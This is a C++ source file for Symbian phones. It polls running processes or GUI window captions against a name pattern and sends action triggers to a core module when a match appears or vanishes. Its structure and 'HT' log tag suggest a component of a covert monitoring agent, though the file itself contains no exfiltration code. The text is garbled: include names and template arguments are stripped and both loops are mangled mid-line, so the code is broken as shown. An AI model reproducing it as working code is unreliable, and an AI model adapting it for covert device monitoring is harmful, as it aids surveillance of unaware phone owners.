/* * EventProcess.cpp * * Created on: 29/set/2010 * Author: Giovanna */ #include "EventProcess.h" #include #include CEventProcess::CEventProcess(TUint32 aTriggerId) : CAbstractEvent(EEvent_Process, aTriggerId),iSecondsInterv(3) { // No implementation required } CEventProcess::~CEventProcess() { __FLOG(_L("Destructor")); delete iTimer; delete iName; iWsSession.Close(); __FLOG(_L("End Destructor")); __FLOG_CLOSE; } CEventProcess* CEventProcess::NewLC(const TDesC8& params, TUint32 aTriggerId) { CEventProcess* self = new (ELeave) CEventProcess(aTriggerId); CleanupStack::PushL(self); self->ConstructL(params); return self; } CEventProcess* CEventProcess::NewL(const TDesC8& params, TUint32 aTriggerId) { CEventProcess* self = CEventProcess::NewLC(params, aTriggerId); CleanupStack::Pop(); // self; return self; } void CEventProcess::ConstructL(const TDesC8& params) { BaseConstructL(params); __FLOG_OPEN_ID("HT", "EventProcess.txt"); __FLOG(_L("-------------")); TUint8* ptr = (TUint8 *)iParams.Ptr(); Mem::Copy(&iProcessParams, iParams.Ptr(), sizeof(TProcessStruct)); ptr += sizeof(TProcessStruct); iName = HBufC::NewL(iProcessParams.iNameLen); if (iProcessParams.iNameLen > 0) { TUint8 totChars = (iProcessParams.iNameLen-1) / 2; //TODO: verify -1 TPtr16 ptrNum((TUint16 *) ptr, totChars, totChars); iName->Des().Append(ptrNum); } iTimer = CTimeOutTimer::NewL(*this); User::LeaveIfError(iWsSession.Connect()); } /** * StartEventL creates a list of active processes/GUI app that match criteria * If list element count > 0, starting action is triggered */ void CEventProcess::StartEventL() { __FLOG(_L("StartEventL()")); if(iProcessParams.iType == 0) { // search processes TFullName res; TFindProcess proc; while(proc.Next(res) == KErrNone) { RProcess ph; TInt err = ph.Open(proc); if(err!=KErrNone) { continue; } if(ph.Name().MatchC(*iName) != KErrNotFound) { ++iOldCount; } ph.Close(); } } else { // Get a list of the names and IDs of the all the window groups CArrayFixFlat* windowGroupIds = new(ELeave)CArrayFixFlat(1); CleanupStack::PushL(windowGroupIds); CApaWindowGroupName* wgName=CApaWindowGroupName::NewL(iWsSession); CleanupStack::PushL(wgName); iWsSession.WindowGroupList(windowGroupIds); // Search for a pattern match TInt count = windowGroupIds->Count(); TBuf<50> windowName; for(TInt i=0; iConstructFromWgIdL(((*windowGroupIds)[i])); windowName.Copy(wgName->Caption()); //iWsSession.GetWindowGroupNameFromIdentifier((*windowGroupIds)[i],windowName); if(windowName.MatchC(*iName) != KErrNotFound) { ++iOldCount; } } CleanupStack::PopAndDestroy(2); } // start timer iTimeAt.HomeTime(); iTimeAt += iSecondsInterv; iTimer->At(iTimeAt); if(iOldCount>0) SendActionTriggerToCoreL(); } /* * TimerExpiredL * We are only interested into the following matrix: * (old list count = 0) && (new list count > 0) => trigger the action * (old list count = 0) && (new list count > 0) => do nothing * (old list count > 0) && (new list count > 0) => do nothing * (old list count > 0) && (new list count = 0) => trigger exit action */ void CEventProcess::TimerExpiredL(TAny* /*src*/) { iNewCount = 0; if(iProcessParams.iType == 0) { // process case // search processes TFullName res; TFindProcess proc; while(proc.Next(res) == KErrNone) { RProcess ph; TInt err = ph.Open(proc); if(err!=KErrNone) { continue; } if(ph.Name().MatchC(*iName) != KErrNotFound) { ++iNewCount; } ph.Close(); } } else { // GUI app case // Get a list of the names and IDs of the all the window groups CArrayFixFlat* windowGroupIds = new(ELeave)CArrayFixFlat(1); CleanupStack::PushL(windowGroupIds); CApaWindowGroupName* wgName=CApaWindowGroupName::NewL(iWsSession); CleanupStack::PushL(wgName); iWsSession.WindowGroupList(windowGroupIds); // Search for a pattern match TInt count = windowGroupIds->Count(); TBuf<50> windowName; for(TInt i=0; iConstructFromWgIdL(((*windowGroupIds)[i])); windowName.Copy(wgName->Caption()); //iWsSession.GetWindowGroupNameFromIdentifier((*windowGroupIds)[i],windowName); if(windowName.MatchC(*iName) != KErrNotFound) { ++iNewCount; } } CleanupStack::PopAndDestroy(2); } //(old list count = 0) && (new list count > 0) => trigger the action if((iOldCount==0) && (iNewCount>0) ) SendActionTriggerToCoreL(); else if((iOldCount>0) && (iNewCount == 0)) //(old list count > 0) && (new list count = 0) => trigger exit action { if (iProcessParams.iExitAction != 0xFFFFFFFF) SendActionTriggerToCoreL(iProcessParams.iExitAction); } iOldCount = iNewCount; // restart timer iTimeAt.HomeTime(); iTimeAt += iSecondsInterv; iTimer->At(iTimeAt); } .